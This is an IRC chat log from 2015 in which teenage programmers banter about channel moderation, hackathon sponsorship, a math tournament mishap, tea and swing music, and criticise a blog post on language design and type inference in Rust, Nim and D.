[2015-02-28T20:57:07-0500] <failedxyz> flag
[2015-02-28T20:57:08-0500] <failedxyz> and java
[2015-02-28T20:59:39-0500] <JacobEdelman_> oooh
[2015-02-28T20:59:41-0500] <JacobEdelman_> you are java
[2015-02-28T20:59:42-0500] <JacobEdelman_> okay
[2015-02-28T21:00:36-0500] <failedxyz> i'm java
[2015-02-28T21:00:38-0500] <failedxyz> but i'm not failedxyz
[2015-02-28T21:00:40-0500] <failedxyz> on irc
[2015-02-28T21:00:42-0500] <failedxyz> idk who that is
[2015-02-28T21:00:46-0500] <failedxyz> or how they got my password
[2015-02-28T21:00:55-0500] <failedxyz> kick him pls
[2015-02-28T21:02:40-0500] <failedxyz> ok now i'm in
[2015-02-28T21:02:41-0500] <JacobEdelman_> okay
[2015-02-28T21:02:43-0500] <JacobEdelman_> oh
[2015-02-28T21:02:44-0500] <JacobEdelman_> okay
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[2015-02-28T21:17:14-0500] <LittleBobbyTables> alokpathy: why did you ban me :(
[2015-02-28T21:17:28-0500] <+alokpathy> LittleBobbyTables: I banned you?
[2015-02-28T21:17:32-0500] <+alokpathy> Wait a minute
[2015-02-28T21:17:41-0500] <LittleBobbyTables> the mod you deopped was me lol
[2015-02-28T21:18:03-0500] <+alokpathy> Oh, oops
[2015-02-28T21:18:07-0500] <+alokpathy> I thought it was another troll
[2015-02-28T21:18:26-0500] <+alokpathy> Wait I didn't deop anybody, I think
[2015-02-28T21:18:30-0500] <+alokpathy> I -h'd somebody
[2015-02-28T21:18:32-0500] <+alokpathy> was that you?
[2015-02-28T21:18:32-0500] <LittleBobbyTables> yea
[2015-02-28T21:18:36-0500] <+alokpathy> Oh okay
[2015-02-28T21:18:44-0500] <+alokpathy> What's your nick again?
[2015-02-28T21:18:56-0500] <+alokpathy> Oh
[2015-02-28T21:18:57-0500] <LittleBobbyTables> JacobEdeIman
[2015-02-28T21:18:57-0500] <+alokpathy> you're an op now
[2015-02-28T21:18:59-0500] <LittleBobbyTables> no
[2015-02-28T21:19:01-0500] <LittleBobbyTables> that's Jacob lol
[2015-02-28T21:19:02-0500] <+alokpathy> ...
[2015-02-28T21:19:05-0500] <+alokpathy> wtf man
[2015-02-28T21:19:06-0500] <LittleBobbyTables> ^_^
[2015-02-28T21:19:49-0500] <JacobEdelman_> lololol
[2015-02-28T21:19:58-0500] <JacobEdelman_> lololol
[2015-02-28T21:19:59-0500] <JacobEdelman_> so many
[2015-02-28T21:20:04-0500] <LittleBobbyTables> lol
[2015-02-28T21:20:05-0500] <JacobEdelman_> I stol your user name for a bit
[2015-02-28T21:20:07-0500] <JacobEdelman_> *stole
[2015-02-28T21:20:07-0500] <JacobEdelman_> also
[2015-02-28T21:20:09-0500] <LittleBobbyTables> I know
[2015-02-28T21:20:11-0500] <JacobEdelman_> we were both
[2015-02-28T21:20:14-0500] <JacobEdelman_> the co-leaders
[2015-02-28T21:20:16-0500] <JacobEdelman_> of a revolt
[2015-02-28T21:20:18-0500] <JacobEdelman_> to overthrow
[2015-02-28T21:20:18-0500] <failedxyz> lol
[2015-02-28T21:20:19-0500] <JacobEdelman_> the ops
[2015-02-28T21:20:20-0500] <JacobEdelman_> right?
[2015-02-28T21:20:33-0500] <LittleBobbyTables> I never got opped though :(
[2015-02-28T21:21:36-0500] <+alokpathy> LittleBobbyTables: There you go
[2015-02-28T21:21:57-0500] <LittleBobbyTables> danke
[2015-02-28T21:42:56-0500] <hardmath123> JacobEdelman_: This is a really good time to sponsor GunnHacks.
[2015-02-28T21:43:10-0500] <hardmath123> JacobEdelman_: Or, like, convince *your* sponsors to give us money.
[2015-02-28T21:43:37-0500] <hardmath123> JacobEdelman_: Or even just stuff. at the moment we have no prizes :P
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[2015-02-28T22:08:04-0500] <JacobEdelman_> hardmath123: hmm... we don't normally do hackathons
[2015-02-28T22:08:13-0500] <JacobEdelman_> but I'll talk to alokpathy and consider
[2015-02-28T22:08:23-0500] <JacobEdelman_> also, have you talked to ignition?
[2015-02-28T22:22:49-0500] <hardmath123> ignition?
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[2015-02-28T22:28:31-0500] <JacobEdelman_> the new name for Minor league hacking
[2015-02-28T22:28:40-0500] <JacobEdelman_> http://hsignition.com/
[2015-02-28T22:32:37-0500] <hardmath123> someone should write a terminal emulator that's better than PuTTY and call it ScoTTY.
[2015-02-28T22:33:22-0500] <hardmath123> JacobEdelman_: wow GunnHacks is listed there O_O
[2015-02-28T22:35:46-0500] <hardmath123> ...crud, we missed their sponsorship deadline by like a week.
[2015-02-28T22:35:50-0500] <hardmath123> Beautiful.
[2015-02-28T22:36:00-0500] • hardmath123: is bad at all this "organization" stuff.
[2015-02-28T22:36:06-0500] • hardmath123: is a bad organism.
[2015-02-28T22:36:34-0500] <grantwu> MobaXTerm?
[2015-02-28T22:36:40-0500] <grantwu> PuTTy Tray?
[2015-02-28T22:40:56-0500] <ubuntor> yay, made naclo
[2015-02-28T22:49:51-0500] <Hyper> @choice 0 1
[2015-02-28T22:49:54-0500] <Hyper> :(
[2015-02-28T22:49:59-0500] <Hyper> @choose 0 1
[2015-02-28T22:49:59-0500] <+awebot> Hyper: 0 1
[2015-02-28T22:50:03-0500] <Hyper> @choose 0 or 1
[2015-02-28T22:50:03-0500] <+awebot> Hyper: 0
[2015-02-28T22:50:13-0500] <Hyper> @choose TWGOK or Diebuster
[2015-02-28T22:50:13-0500] <+awebot> Hyper: TWGOK
[2015-02-28T22:50:16-0500] <Hyper> ok then
[2015-02-28T22:50:19-0500] <Hyper> ty awebot 
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[2015-02-28T23:54:26-0500] <hardmath123> Dammit
[2015-02-28T23:54:29-0500] <hardmath123> ever since i joined pdgn
[2015-02-28T23:54:46-0500] <hardmath123> i started messing up my spelling of Pigeon the animal.
[2015-02-28T23:55:09-0500] <hardmath123> :P
[2015-03-01T00:07:14-0500] <[sar]chrissing> lol
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[2015-03-01T01:06:48-0500] <+alokpathy> xD
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[2015-03-01T02:24:18-0500] <grantwu> Anyone know how to write a cover letter :C
[2015-03-01T02:24:24-0500] <grantwu> I'm not very good about bragging about myself
[2015-03-01T03:36:59-0500] <grantwu> welp I wrote one
[2015-03-01T03:37:03-0500] <grantwu> I hope it's good
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[2015-03-01T10:24:00-0500] <+alokpathy> LittleBobbyTables: plz come onto sCTF IRC
[2015-03-01T10:24:05-0500] <+alokpathy> I have to leave soon and nobody else is there.
[2015-03-01T10:24:13-0500] <+alokpathy> JacobEdelman: ^
[2015-03-01T10:28:21-0500] <JacobEdelman_> Okay
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[2015-03-01T11:11:29-0500] <hardmath123> O_o
[2015-03-01T11:11:39-0500] <hardmath123> [sar]chrissing == failedxyz
[2015-03-01T11:11:43-0500] <hardmath123> so many things make sense now
[2015-03-01T11:11:49-0500] <failedxyz> like what?
[2015-03-01T11:12:56-0500] <hardmath123> why i never see you two in the same place
[2015-03-01T11:12:59-0500] <hardmath123> why you look so similar
[2015-03-01T11:13:06-0500] <failedxyz> lol
[2015-03-01T11:18:45-0500] <JacobEdelman_> wait
[2015-03-01T11:18:51-0500] <JacobEdelman_> you are actually the same person?
[2015-03-01T11:18:56-0500] <JacobEdelman_> I was so confused
[2015-03-01T11:20:47-0500] <failedxyz> what is there to be confused about?
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[2015-03-01T11:47:27-0500] <JacobEdelman_> that you two were the same person
[2015-03-01T11:47:33-0500] <JacobEdelman_> oh wait, he;s gone
[2015-03-01T11:47:37-0500] <JacobEdelman_> *he's
[2015-03-01T11:53:41-0500] <+alokpathy> They're not the same,lol.
[2015-03-01T11:56:58-0500] <+alokpathy> hardmath123: Applications for GH is closed? :(
[2015-03-01T11:57:07-0500] <+alokpathy> hardmath123: What if you get enough money for travel reimbursement?
[2015-03-01T11:58:07-0500] <hardmath123> I'm pretty sure that isn't happening.
[2015-03-01T11:58:17-0500] <+alokpathy> crie
[2015-03-01T11:58:22-0500] <+alokpathy> Life is a struggle.
[2015-03-01T11:58:30-0500] <+alokpathy> Can you pay for my travel? :P
[2015-03-01T11:58:30-0500] <hardmath123> But I assure you, if any pdgner shows up, you're more than welcome.
[2015-03-01T11:58:40-0500] <hardmath123> I'll kick out an organizer if there isn't enough space.
[2015-03-01T11:58:44-0500] <+alokpathy> xDDD
[2015-03-01T11:58:47-0500] <+alokpathy> tyty
[2015-03-01T12:00:28-0500] <hardmath123> can't you steal some hscs money?
[2015-03-01T12:01:28-0500] <+alokpathy> That's not entirely ethical :P
[2015-03-01T12:04:53-0500] <hardmath123> :P
[2015-03-01T12:08:33-0500] <+alokpathy> awe: Any luck on HackUMass?
[2015-03-01T13:29:14-0500] <+awe> [23:54:29]  <hardmath123>	ever since i joined pdgn
[2015-03-01T13:29:14-0500] <+awe> [23:54:46]  <hardmath123>	i started messing up my spelling of Pigeon the animal.
[2015-03-01T13:29:19-0500] <+awe> hardmath123: it's all a part of my evil plan. >:D
[2015-03-01T13:30:17-0500] <+awe> alokpathy: I haven't emailed them yet.
[2015-03-01T13:30:56-0500] <+awe> alokpathy: use hscs to sponsor travel reimbursements for GH specifically for you, Jacob, etc.
[2015-03-01T13:31:26-0500] <+alokpathy> And not tell our sponsors about it? :P
[2015-03-01T13:31:43-0500] <JacobEdelman_> what, we don't actually have to
[2015-03-01T13:31:45-0500] <hardmath123> awe: How bad is it to abuse stderr for non-errey things?
[2015-03-01T13:31:46-0500] <JacobEdelman_> they give us money
[2015-03-01T13:31:49-0500] <JacobEdelman_> to spend on events
[2015-03-01T13:31:50-0500] <JacobEdelman_> well
[2015-03-01T13:31:52-0500] <JacobEdelman_> they would
[2015-03-01T13:31:54-0500] <+awe> hardmath123: For Hamelin?
[2015-03-01T13:31:56-0500] <JacobEdelman_> but instead they give us prizes
[2015-03-01T13:31:57-0500] <hardmath123> awe: Yeah.
[2015-03-01T13:32:02-0500] <+awe> hardmath123: what do you have in mind?
[2015-03-01T13:33:35-0500] <hardmath123> awe: Something really bad.
[2015-03-01T13:33:40-0500] <+awe> Tell me?
[2015-03-01T13:33:46-0500] <+awe> That way I can yell at you about how bad it is. :)
[2015-03-01T13:34:00-0500] <hardmath123> awe: ...which I just realized doesn't work because there isn't a corresponding input stream for stderr.
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[2015-03-01T13:34:03-0500] <hardmath123> so never mind.
[2015-03-01T13:34:08-0500] <hardmath123> :P
[2015-03-01T13:34:30-0500] <+awe> lol
[2015-03-01T13:34:32-0500] <+awe> stdinerr?
[2015-03-01T13:35:03-0500] <+awe> So, new std::io stabilized and now I have to update EVERYTHING.
[2015-03-01T13:35:16-0500] <hardmath123> (it would have been like use stdin/out for the interface and stderrin/stderr for communicating with the subprocess)
[2015-03-01T13:35:33-0500] <+awe> lol
[2015-03-01T13:36:58-0500] <hardmath123> i'm reading http://eev.ee/blog/2015/02/28/sylph-the-programming-language-i-want/
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[2015-03-01T21:52:40-0500] <hardmath123> it's ok, Invader , we're doing the good IRCop bad IRCop routine
[2015-03-01T21:52:44-0500] <Tamini> lol
[2015-03-01T21:52:45-0500] <JacobEdelman_> until you answer me
[2015-03-01T21:52:47-0500] <hardmath123> he's the bad IRCop
[2015-03-01T21:52:49-0500] <Tamini> JacobEdelman_: hes a genius and smart
[2015-03-01T21:52:51-0500] <Tamini> and nice
[2015-03-01T21:52:56-0500] <JacobEdelman_> yes I am
[2015-03-01T21:52:56-0500] <Tamini> so shush and leave him alone
[2015-03-01T21:52:59-0500] <Tamini> i'm vouching
[2015-03-01T21:53:00-0500] <JacobEdelman_> but what about Invader?
[2015-03-01T21:53:22-0500] <Tamini> he got me to come back, doesnt that make him a hero
[2015-03-01T21:53:42-0500] <JacobEdelman_> oh wait
[2015-03-01T21:53:43-0500] <JacobEdelman_> yeah
[2015-03-01T21:53:45-0500] <JacobEdelman_> thats true
[2015-03-01T21:53:49-0500] <JacobEdelman_> good point
[2015-03-01T21:53:50-0500] <JacobEdelman_> wait
[2015-03-01T21:53:53-0500] <JacobEdelman_> what did he do?
[2015-03-01T21:54:01-0500] <hardmath123> fixed Tamini's internet
[2015-03-01T21:54:18-0500] <hardmath123> 17:12:25            Tamini | Sorry guys, my internet died for a bit. Did I miss anything? :P
[2015-03-01T21:55:01-0500] <Tamini> yes
[2015-03-01T21:55:07-0500] <Tamini> hes so smart he remotely fixed my internet
[2015-03-01T21:55:58-0500] <hardmath123> pffffffft i got kicked down to our school's "bad" berkeley math tournament team.
[2015-03-01T21:56:15-0500] <Tamini> lool
[2015-03-01T21:56:25-0500] <Tamini> what did you do? >_<
[2015-03-01T21:56:35-0500] <Tamini> (also guys, give me a good movie to watch while doing hw)
[2015-03-01T21:57:04-0500] <Hyper> Tamini: Galaxy Quest
[2015-03-01T21:57:06-0500] <hardmath123> (1) flunk AMC, (2) not be obnoxiously competitive
[2015-03-01T21:57:19-0500] <Tamini> the first point, i disapprove of
[2015-03-01T21:57:22-0500] <Tamini> second point is good
[2015-03-01T21:57:26-0500] <hardmath123> ?
[2015-03-01T21:57:35-0500] <Tamini> I'm guilty of it myself, so I admire people that can actually not be horribly competitive
[2015-03-01T21:57:37-0500] <Tamini> >_<
[2015-03-01T21:57:45-0500] <Tamini> what happened on the amc? D:
[2015-03-01T21:58:02-0500] <hardmath123> (3) take an extra 3 minutes to clean up a sink post-puke, and thus get left behind in the dorms on HMMT day.
[2015-03-01T21:58:09-0500] <Tamini> Hyper: noted
[2015-03-01T21:58:14-0500] <Tamini> and hardmath123: wait are you serious
[2015-03-01T21:58:20-0500] <hardmath123> yeah didn't i tell you this on the phone?
[2015-03-01T21:58:31-0500] <Tamini> you did but i didnt think you legitimately meant left behind wtf
[2015-03-01T21:58:33-0500] <Tamini> what happened after? D:
[2015-03-01T21:58:57-0500] <hardmath123> i grabbed my coat and ran outside
[2015-03-01T21:59:06-0500] <hardmath123> then i was like "wait crud i don't know where i'm going"
[2015-03-01T21:59:12-0500] <hardmath123> so then i stopped and put on my coat
[2015-03-01T22:00:43-0500] <Tamini> :P
[2015-03-01T22:09:08-0500] <Tamini> then?
[2015-03-01T22:16:06-0500] <JacobEdelman_> hmm
[2015-03-01T22:16:12-0500] <JacobEdelman_> a friend of mine may be joining soon
[2015-03-01T22:16:14-0500] <JacobEdelman_> from California
[2015-03-01T22:16:27-0500] <JacobEdelman_> *joining pdgn
[2015-03-01T22:17:44-0500] <ubuntor> neat
[2015-03-01T22:18:22-0500] <michael_zhang> decepive ports sol was stupid
[2015-03-01T22:38:18-0500] Mode is +nt
[2015-03-01T22:38:53-0500] <hardmath123> Tamini: well the story gets pretty mundane after that. I called the oldest person on our team, he said the equivalent of "figure it out bro". Then I called the mom of someone else on the team. She gave reasonable directions.
[2015-03-01T22:38:58-0500] <+awe> Hi.
[2015-03-01T22:39:05-0500] <Tamini> ah
[2015-03-01T22:39:06-0500] <Tamini> awe!
[2015-03-01T22:39:10-0500] <+alokpathy> awe: :D
[2015-03-01T22:39:12-0500] <+awe> I just spent eight hours driving through a snowstorm. .-.
[2015-03-01T22:39:13-0500] <Tamini> I brought a friend, I hope that's okay
[2015-03-01T22:39:14-0500] <Tamini> and aww D:
[2015-03-01T22:39:15-0500] <hardmath123> -_-
[2015-03-01T22:39:18-0500] <hardmath123> Are you ok?
[2015-03-01T22:39:20-0500] <+awe> Yeah.
[2015-03-01T22:39:24-0500] <Tamini> Yeah, matt's been complaining about 3 feet of snow in boston >___<
[2015-03-01T22:39:27-0500] <+awe> I'm completely drained, but I'm okay.
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[2015-03-01T21:54:01-0500] <hardmath123> fixed Tamini's internet
[2015-03-01T21:54:18-0500] <hardmath123> 17:12:25            Tamini | Sorry guys, my internet died for a bit. Did I miss anything? :P
[2015-03-01T21:55:01-0500] <Tamini> yes
[2015-03-01T21:55:07-0500] <Tamini> hes so smart he remotely fixed my internet
[2015-03-01T21:55:58-0500] <hardmath123> pffffffft i got kicked down to our school's "bad" berkeley math tournament team.
[2015-03-01T21:56:15-0500] <Tamini> lool
[2015-03-01T21:56:25-0500] <Tamini> what did you do? >_<
[2015-03-01T21:56:35-0500] <Tamini> (also guys, give me a good movie to watch while doing hw)
[2015-03-01T21:57:04-0500] <Hyper> Tamini: Galaxy Quest
[2015-03-01T21:57:06-0500] <hardmath123> (1) flunk AMC, (2) not be obnoxiously competitive
[2015-03-01T21:57:19-0500] <Tamini> the first point, i disapprove of
[2015-03-01T21:57:22-0500] <Tamini> second point is good
[2015-03-01T21:57:26-0500] <hardmath123> ?
[2015-03-01T21:57:35-0500] <Tamini> I'm guilty of it myself, so I admire people that can actually not be horribly competitive
[2015-03-01T21:57:37-0500] <Tamini> >_<
[2015-03-01T21:57:45-0500] <Tamini> what happened on the amc? D:
[2015-03-01T21:58:02-0500] <hardmath123> (3) take an extra 3 minutes to clean up a sink post-puke, and thus get left behind in the dorms on HMMT day.
[2015-03-01T21:58:09-0500] <Tamini> Hyper: noted
[2015-03-01T21:58:14-0500] <Tamini> and hardmath123: wait are you serious
[2015-03-01T21:58:20-0500] <hardmath123> yeah didn't i tell you this on the phone?
[2015-03-01T21:58:31-0500] <Tamini> you did but i didnt think you legitimately meant left behind wtf
[2015-03-01T21:58:33-0500] <Tamini> what happened after? D:
[2015-03-01T21:58:57-0500] <hardmath123> i grabbed my coat and ran outside
[2015-03-01T21:59:06-0500] <hardmath123> then i was like "wait crud i don't know where i'm going"
[2015-03-01T21:59:12-0500] <hardmath123> so then i stopped and put on my coat
[2015-03-01T22:00:43-0500] <Tamini> :P
[2015-03-01T22:09:08-0500] <Tamini> then?
[2015-03-01T22:16:06-0500] <JacobEdelman_> hmm
[2015-03-01T22:16:12-0500] <JacobEdelman_> a friend of mine may be joining soon
[2015-03-01T22:16:14-0500] <JacobEdelman_> from California
[2015-03-01T22:16:27-0500] <JacobEdelman_> *joining pdgn
[2015-03-01T22:17:44-0500] <ubuntor> neat
[2015-03-01T22:18:22-0500] <michael_zhang> decepive ports sol was stupid
[2015-03-01T22:38:50-0500] <hardmath123> Tamini: well the story gets pretty mundane after that. I called the oldest person on our team, he said the equivalent of "figure it out bro". Then I called the mom of someone else on the team. She gave reasonable directions.
[2015-03-01T22:38:55-0500] <+awe> Hi.
[2015-03-01T22:39:02-0500] <Tamini> ah
[2015-03-01T22:39:03-0500] <Tamini> awe!
[2015-03-01T22:39:07-0500] <+alokpathy> awe: :D
[2015-03-01T22:39:09-0500] <+awe> I just spent eight hours driving through a snowstorm. .-.
[2015-03-01T22:39:10-0500] <Tamini> I brought a friend, I hope that's okay
[2015-03-01T22:39:12-0500] <Tamini> and aww D:
[2015-03-01T22:39:12-0500] <hardmath123> -_-
[2015-03-01T22:39:15-0500] <hardmath123> Are you ok?
[2015-03-01T22:39:17-0500] <+awe> Yeah.
[2015-03-01T22:39:21-0500] <Tamini> Yeah, matt's been complaining about 3 feet of snow in boston >___<
[2015-03-01T22:39:24-0500] <+awe> I'm completely drained, but I'm okay.
[2015-03-01T22:39:32-0500] <Tamini> get some tea and relax for a bit
[2015-03-01T22:39:36-0500] • hardmath123: offers awe some hot chocolate.
[2015-03-01T22:39:45-0500] • alokpathy: offers a potato.
[2015-03-01T22:39:49-0500] <ubuntor> hey awe
[2015-03-01T22:40:12-0500] Mode is +nt
[2015-03-01T22:40:27-0500] <+awe> Oh, man. I wish we actually had hot chocolate.
[2015-03-01T22:40:35-0500] <+awe> We're getting some sometime this week though.
[2015-03-01T22:40:50-0500] <+awe> Last weekend, I went to a Wawa and got them to give me a 120 oz container full of hot chocolate.
[2015-03-01T22:40:52-0500] <+awe> It was awesome.
[2015-03-01T22:40:58-0500] <ubuntor> nice
[2015-03-01T22:40:58-0500] <+awe> Wawa's hot chocolate is so good.
[2015-03-01T22:41:02-0500] <Tamini> hehe
[2015-03-01T22:41:13-0500] <Tamini> that sounds so niceeee
[2015-03-01T22:41:20-0500] <Tamini> i should get some hot chocolate
[2015-03-01T22:41:25-0500] <+awe> There was like eight of us, and we split it.
[2015-03-01T22:42:08-0500] <+alokpathy> Tamini: Wait you should get Somebody onto pdgn
[2015-03-01T22:42:12-0500] <Tamini> uhh
[2015-03-01T22:42:19-0500] <Tamini> why? :P
[2015-03-01T22:42:20-0500] <+alokpathy> He seems like a nice kid.
[2015-03-01T22:42:21-0500] <+awe> And yeah, you can invite whoever you want.
[2015-03-01T22:42:30-0500] <+awe> If I don't like them, I'll make them leave by sheer force of personality. :)
[2015-03-01T22:42:30-0500] <Tamini> heh
[2015-03-01T22:42:37-0500] <Tamini> i already got one from sctf
[2015-03-01T22:43:15-0500] <+alokpathy> awe: Say hello to Invader 
[2015-03-01T22:43:17-0500] <Tamini> we'll see 
[2015-03-01T22:43:20-0500] <+alokpathy> He goes to South.
[2015-03-01T22:43:28-0500] <Tamini> I made myself a new super-genius friend
[2015-03-01T22:43:35-0500] <Tamini> he'll teach me to be a super genius like him! :D
[2015-03-01T22:43:38-0500] <Invader> Hi awe!
[2015-03-01T22:43:51-0500] <+awe> Hey, Invader.
[2015-03-01T22:43:56-0500] <Hyper> I have a drawer dedicated to a bunch of types of tea >:)
[2015-03-01T22:44:04-0500] <Hyper> one of the few nice things in my dorm room
[2015-03-01T22:44:20-0500] <Tamini> oooh 
[2015-03-01T22:44:20-0500] <+alokpathy> Invader: This is where my GPA goes to die.
[2015-03-01T22:44:26-0500] <Tamini> what kind of tea do you like?
[2015-03-01T22:44:28-0500] <Tamini> and LOL
[2015-03-01T22:44:28-0500] <+alokpathy> Spending too much time here xD
[2015-03-01T22:44:35-0500] <Tamini> pretty much me too yeah
[2015-03-01T22:44:39-0500] <Hyper> peppermint, caramel
[2015-03-01T22:44:41-0500] <Invader> awe, i heard you're the super cool CS kid who went to North
[2015-03-01T22:44:44-0500] <Tamini> i left for a while during amc season so I could not fail everything
[2015-03-01T22:45:02-0500] <Tamini> awe: Invader is that Mopper from south :P
[2015-03-01T22:45:08-0500] <+awe> Yeah, makes sense.
[2015-03-01T22:45:11-0500] <Tamini> Hyper: caramel tea? o-o
[2015-03-01T22:45:12-0500] <+awe> Invader: I suppose so, yeah.
[2015-03-01T22:45:17-0500] <Hyper> Tamini: it's pretty good
[2015-03-01T22:45:26-0500] <Hyper> tastes kinda like vanilla
[2015-03-01T22:45:46-0500] <Hyper> It's actually vanilla caramel, which I guess would do that
[2015-03-01T22:45:57-0500] <Tamini> i dont know how that would work though
[2015-03-01T22:45:59-0500] <Tamini> o-o
[2015-03-01T22:46:05-0500] <Invader>  wow green text
[2015-03-01T22:46:12-0500] <Hyper> > wow greentext
[2015-03-01T22:46:27-0500] <+awe> wow double rainbow all the way across the sky
[2015-03-01T22:46:31-0500] <+alokpathy> xD
[2015-03-01T22:46:44-0500] <Tamini> finally, you got it
[2015-03-01T22:46:47-0500] <Tamini> im so proud of you :P
[2015-03-01T22:47:07-0500] <Invader> yay
[2015-03-01T22:47:14-0500] <Tamini> also awe: I think you're not very good at kicking people out by sheer personality
[2015-03-01T22:47:15-0500] <Tamini> :
[2015-03-01T22:47:17-0500] <Tamini> :P*
[2015-03-01T22:47:23-0500] <+awe> I am if I want to.
[2015-03-01T22:47:30-0500] <Tamini> teach me your ways.
[2015-03-01T22:47:32-0500] <Hyper> 3 days, 1 hour, 8 minutes left until nth-prime submissions are due~~
[2015-03-01T22:47:34-0500] <+awe> Be an asshole.
[2015-03-01T22:47:38-0500] <+awe> Hyper: Oh boy.
[2015-03-01T22:47:45-0500] <Tamini> but darn, I'm good at that already
[2015-03-01T22:47:46-0500] <+awe> Hyper: JacobEdelman_ still hasn't posted his reference for me. :(
[2015-03-01T22:47:49-0500] <Tamini> that doesnt work on some eople
[2015-03-01T22:48:15-0500] <ubuntor> lol
[2015-03-01T22:50:58-0500] <Hyper> Tamini: so have you figured out how to break my rules yet? :)
[2015-03-01T22:51:10-0500] <Tamini> Hyper: nooo D:
[2015-03-01T22:51:13-0500] <+awe> Tamini: you're just not doing it well enough if it doesn't work.
[2015-03-01T22:51:15-0500] <Tamini> I have too much english homework for that hehe
[2015-03-01T22:51:24-0500] <Tamini> awe: teach me how to get better
[2015-03-01T22:51:43-0500] <hardmath123> Tamini: i think i figured that creating a subprocess would be a cheat because it wouldn't count towards unix's time utility
[2015-03-01T22:51:56-0500] <Tamini> heh
[2015-03-01T22:52:16-0500] <+awe> Tamini: you would need to do as I have done and travel to the four dojos of assholery and learn from the great masters of asshole.
[2015-03-01T22:53:15-0500] <Tamini> looool
[2015-03-01T22:53:23-0500] <Tamini> where are the four dojos, o great master?
[2015-03-01T22:54:08-0500] <Hyper> omg I found what i'm listening to for the next few days <3 https://www.youtube.com/watch?v=5nhp6ULk7mE
[2015-03-01T22:55:30-0500] <Tamini> oh my god :D
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[2015-03-01T22:55:37-0500] <Tamini> I feel like hardmath123 would like this
[2015-03-01T22:55:39-0500] <failedxyz> anyone still here
[2015-03-01T22:55:43-0500] <+alokpathy> Nope.
[2015-03-01T22:55:53-0500] <failedxyz>  :(
[2015-03-01T22:56:11-0500] <Hyper> failedxyz: we're all gone
[2015-03-01T22:56:22-0500] <failedxyz> :(
[2015-03-01T22:56:49-0500] <failedxyz> oh wait i though this was the sctf one
[2015-03-01T22:56:52-0500] <hardmath123> Tamini: I just jumped to 1:20:30 and MAN THAT IS SO CHILL
[2015-03-01T22:56:53-0500] <+awe> Tamini: The exotic lands of Lundy Island, Minerva, Andorra, and Kenosha, Wisconsin.
[2015-03-01T22:57:08-0500] <Tamini> I knew you'd like it :)
[2015-03-01T22:57:16-0500] <Tamini> heh
[2015-03-01T22:57:16-0500] <Hyper> \o/
[2015-03-01T22:57:26-0500] <Hyper> 4 hours of swing has no chance of not being the shit
[2015-03-01T22:57:56-0500] <hardmath123> did i tell y'all how we had a swing dance with non-swing music?
[2015-03-01T22:58:00-0500] <hardmath123> it was pretty sad.
[2015-03-01T22:58:06-0500] <Hyper> >_>
[2015-03-01T23:03:06-0500] <+awe> hardmath123: wow http://eev.ee/blog/2015/02/28/sylph-the-programming-language-i-want/
[2015-03-01T23:03:09-0500] <+awe> hardmath123: the uhh
[2015-03-01T23:03:16-0500] <hardmath123> yeah
[2015-03-01T23:03:17-0500] <+awe> hardmath123: complaint about Nim.
[2015-03-01T23:03:20-0500] <hardmath123> yeah
[2015-03-01T23:03:28-0500] <hardmath123> he says he likes significant whitespace
[2015-03-01T23:03:32-0500] <+awe> No wonder Jacob loves Nim.
[2015-03-01T23:03:36-0500] <hardmath123> so take everything he says with like a boatful of salt
[2015-03-01T23:04:10-0500] <Tamini> wait i wanna learn how to swing dance
[2015-03-01T23:04:13-0500] <Tamini> heh
[2015-03-01T23:04:16-0500] <+awe> It lets you declare things that are indistinguishable from syntax.
[2015-03-01T23:04:21-0500] <Tamini> hardmath123: you do so many cool things.
[2015-03-01T23:04:44-0500] <hardmath123> Tamini: not well! Other people were dancing. I was falling in style.
[2015-03-01T23:04:47-0500] <Hyper> Tamini: swing is so much fun go learn it
[2015-03-01T23:05:03-0500] <+awe> hardmath123: also Nim has horrible namespacing, what the hell.
[2015-03-01T23:06:40-0500] <Tamini> falling in style is still in style!
[2015-03-01T23:06:57-0500] <Tamini> we have a swing club but it might coincide with math team D:
[2015-03-01T23:08:00-0500] <Tamini> we dont have a swing dance but we do have a viennese ball
[2015-03-01T23:08:08-0500] <hardmath123> also
[2015-03-01T23:08:15-0500] <Hyper> awe: he complains about types vanishing at runtime o_o
[2015-03-01T23:08:33-0500] <Hyper> I'd think that would be a *desirable* property of a type system
[2015-03-01T23:10:09-0500] <+awe> It _is_.
[2015-03-01T23:10:25-0500] <+awe> You want everything to be statically verified and then thrown away.
[2015-03-01T23:10:58-0500] <+awe> He also knows nothing about type inference.
[2015-03-01T23:11:22-0500] <+awe> Rust doesn't actually _need_ type annotations on functions 99% of the time. The language just requires it because they want you to be explicit about your interfaces.
[2015-03-01T23:12:26-0500] <Hyper> "On the other hand, if I ship something you could call a compiler, I also want to ship a more traditional interpreter." hahahahaha
[2015-03-01T23:12:29-0500] <Hyper> haaaaaaa
[2015-03-01T23:12:30-0500] <Hyper> haaaaaaaaaaaaaaaaaaaaaaa
[2015-03-01T23:13:31-0500] <+awe> Complaining about having to specify trait bounds on generics in Rust
[2015-03-01T23:13:32-0500] <+awe> "This seems a little ridiculous. The compiler already knew that T had to be a type that supports addition — it just told me that. So why am I spelling it out?"
[2015-03-01T23:13:42-0500] <+awe> It told you that you couldn't use + on type T
[2015-03-01T23:13:54-0500] <+awe> But what about if you try something like
[2015-03-01T23:14:00-0500] <+awe> foo.functor(bar)
[2015-03-01T23:14:16-0500] <+awe> How does it know which trait to suggest providing functor?
[2015-03-01T23:14:19-0500] <+awe> How does it know it's not a typo?
[2015-03-01T23:14:33-0500] <+awe> There's no reason it should assume which trait you want.
[2015-03-01T23:14:39-0500] <Hyper> also D has type inference in return value
[2015-03-01T23:14:44-0500] <Hyper> not arguments because that'd be nonsense
[2015-03-01T23:14:47-0500] <Hyper> you use templates for that
[2015-03-01T23:15:04-0500] <+awe> Any language with type inference could do those things
[2015-03-01T23:15:07-0500] <+awe> They typically choose not to.
[2015-03-01T23:15:11-0500] <+awe> In Haskell, you *can* do it.
[2015-03-01T23:15:19-0500] <+awe> But you're dumb and everyone hates you if you do.
[2015-03-01T23:16:17-0500] <Hyper> I'm not sure whether people like it when you use it in D, but the general feel of the language is that if the specific type of something doesn't matter use auto
[2015-03-01T23:16:49-0500] <Hyper> or if the type is obvious, ie `auto name = "John Doe";`
[2015-03-01T23:18:01-0500] <+awe> Like C++11. :)
[2015-03-01T23:18:16-0500] <+awe> Rust does type inference everywhere except interfaces because interfaces should be intentional, ffs.
[2015-03-01T23:18:23-0500] <Hyper> yeah
[2015-03-01T23:20:44-0500] <+awe> "I also do wacky things so that calling GenericAI() doesn’t actually create an object, but is used as a special initializer thing when defining entity types.. That’s neat. I can do neat things that use normal Python syntax but co-opt the semantics."
[2015-03-01T23:20:44-0500] <+awe> NO
